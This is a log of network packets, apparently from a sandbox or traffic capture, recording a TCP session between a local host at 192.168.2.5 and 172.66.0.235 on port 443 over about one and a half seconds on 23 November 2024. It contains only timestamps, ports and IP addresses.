Nov 23, 2024 13:37:46.776720047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.784759998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.784868956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.790396929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.790453911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.790520906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.790559053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.790591955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.792131901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.792217016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.792231083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.792290926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.793891907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.793996096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.799496889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.799550056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.799588919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.799602032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.799635887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.805923939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.805977106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.806020021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.806035042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.806063890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.812266111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.812319994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.812341928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.812359095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.812398911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.816509962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.816587925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.816591978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.816632032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.816668987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.816704988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.818303108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.818377018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.822961092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.823029995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.823050022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.823062897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.823092937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.823110104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.829274893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.829324961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.829351902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.829364061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.829394102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.829411030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.978223085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.978291035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.978332996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.978405952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.978442907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.978488922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.984396935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.984462976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.984479904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.984494925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.984532118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.984550953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.986450911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.986529112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.990839005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.990927935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.990932941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.990983009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.991022110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.991053104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.996541023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.996593952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.996623993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.996635914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.996663094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.996680975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.002899885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.002948999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.002978086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.002989054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.003021955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.004945993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.008902073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.008960009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.008981943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.008992910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.009046078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.009063959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.010567904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.010626078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.017077923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.017097950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.017158985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.017175913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.019718885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.019788980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.019804001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.064327002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.107424974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.168612957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.168637037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.168736935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.168762922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.168932915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.175003052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.175019026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.175095081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.175111055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.175168037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.176703930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.176769018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.177746058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.177814007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.184202909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.184220076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.184298038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.184313059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.184366941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.190530062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.190547943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.190618038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.190633059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.190706015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.196954012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.196973085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.197047949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.197062969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.197118998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.202922106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.202939034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.203020096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.203033924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.203088045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.208496094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.208518028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.208623886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.208637953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.208688021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.214979887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.214997053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.215068102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.215081930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.215137959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.344830990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.350748062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.363986969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.364012957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.364200115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.364222050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.364283085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.374969959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.374986887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.375066996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.375081062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.375224113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.375854969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.375871897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.375941992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.375957012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.376008034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.382373095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.382389069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.382462978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.382477999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.382528067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.388601065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.388617039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.388684034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.388698101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.388748884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.394709110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.394726038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.394815922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.394830942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.394886017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.401031017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.401046038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.401149988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.401165009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.401290894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.406599045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.406615973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.406692982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.406707048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.406760931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.556548119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.556576014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.556662083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.556696892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.556751013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.562125921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.562143087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.562215090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.562228918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.562278032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.568439960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.568456888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.568523884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.568540096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.568589926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.570305109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.570363045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.574872971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.574935913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.574948072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.574968100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.574994087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.575015068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.580509901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.580527067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.580594063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.580607891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.580658913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.582669020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.582731962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.588327885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.588345051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.588428020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.588443041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.594634056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.594654083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.594705105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.594721079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.594748974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.642357111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.744529009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.744554043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.744602919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.744641066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.744668961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.744719982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.749763012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.749780893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.749840021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.749855042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.750013113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.755860090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.755876064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.755929947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.755944967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.755995989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.762273073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.762289047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.762334108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.762347937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.762376070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.762397051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.767965078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.767981052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.768033028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.768048048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.768075943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.768095970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.774709940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.774725914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.774769068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.774781942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.774823904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.774848938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.780399084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.780415058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.780456066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.780469894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.780498981 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.780519009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.786660910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.786676884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.786717892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.786731005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.786778927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.786778927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.870950937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.936717033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.936743021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.936794043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.936836958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.936852932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.936912060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.941592932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.941617012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.941690922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.941708088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.941766024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.948164940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.948184013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.948240995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.948256969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.948287010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.948329926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.954390049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.954412937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.954467058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.954487085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.954514027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.954544067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.959970951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.959988117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.960057974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.960072994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.960129976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.966855049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.966871977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.966938972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.966969013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.967017889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.972392082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.972409010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.972481966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.972496986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.972553968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.978832006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.978848934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.978913069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:47.978926897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:47.978985071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.128453970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.128479958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.128606081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.128638983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.128695965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.133676052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.133691072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.133761883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.133778095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.133836031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.140010118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.140026093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.140083075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.140103102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.140156984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.146430969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.146445990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.146513939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.146528006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.146581888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.152157068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.152173042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.152259111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.152273893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.152331114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.158864021 CET	443	49704	172.66.0.235	192.168.2.5
